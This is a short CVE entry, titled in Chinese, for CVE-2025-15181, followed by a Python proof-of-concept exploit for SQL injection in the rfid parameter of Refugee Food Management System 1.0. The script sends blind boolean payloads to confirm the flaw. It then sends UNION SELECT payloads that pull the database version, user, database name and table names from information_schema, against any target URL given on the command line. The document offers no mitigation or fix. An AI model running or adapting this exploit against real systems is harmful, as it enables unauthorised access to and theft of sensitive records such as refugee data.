CVE-2025-15181: Refugee Food Management System 1.0 rfid参数SQL注入漏洞

import requests import sys # CVE-2025-15181 PoC - SQL Injection in Refugee Food Management System 1.0 # Target: /home/pagenateRefugeesList.php # Parameter: rfid def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in rfid parameter """ params = { 'rfid': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def basic_blind_sqli(target_url): """ Basic blind SQL injection test to confirm vulnerability """ # True condition - should return normal response true_payload = "1' AND 1=1 -- -" # False condition - should return different response false_payload = "1' AND 1=2 -- -" print("[*] Testing blind SQL injection...") true_resp = exploit_sqli(target_url, true_payload) false_resp = exploit_sqli(target_url, false_payload) if true_resp != false_resp: print("[+] SQL injection confirmed!") return True else: print("[-] SQL injection not detected") return False def union_based_sqli(target_url): """ UNION-based SQL injection to extract database information """ # Get database version version_payload = "1' UNION SELECT NULL,version(),user(),database() -- -" print("[*] Extracting database information...") result = exploit_sqli(target_url, version_payload) if result: print(result) # Get table names from information_schema tables_payload = "1' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1 -- -" print("[*] Enumerating database tables...") result = exploit_sqli(target_url, tables_payload) if result: print(result) if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/pagenateRefugeesList.php") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] CVE-2025-15181 - SQL Injection in rfid parameter") if basic_blind_sqli(target): union_based_sqli(target)